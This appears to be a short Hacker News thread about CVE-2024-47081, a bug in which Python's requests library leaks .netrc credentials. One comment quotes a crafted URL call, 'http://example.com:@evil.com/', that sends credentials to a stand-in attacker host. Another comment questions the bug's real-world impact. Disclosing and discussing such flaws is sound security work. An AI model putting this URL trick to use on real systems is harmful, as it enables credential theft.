Live data from Hacker News

CVE-2024-47081: Netrc credential leak in PSF requests library

seclists.org

1–10 of 28 posts

Re: CVE-2024-47081: Netrc credential leak in PSF requests library

#3
Execute the call

>requests.get('http://example.com:@evil.com/')

>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call

Instead of having a url parse error it appears to drop the : and use the password:domain format.

Re: CVE-2024-47081: Netrc credential leak in PSF requests library

#7
Another good example of lax URL parsing/parser differentials being problematic.

That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.

Post reply on HN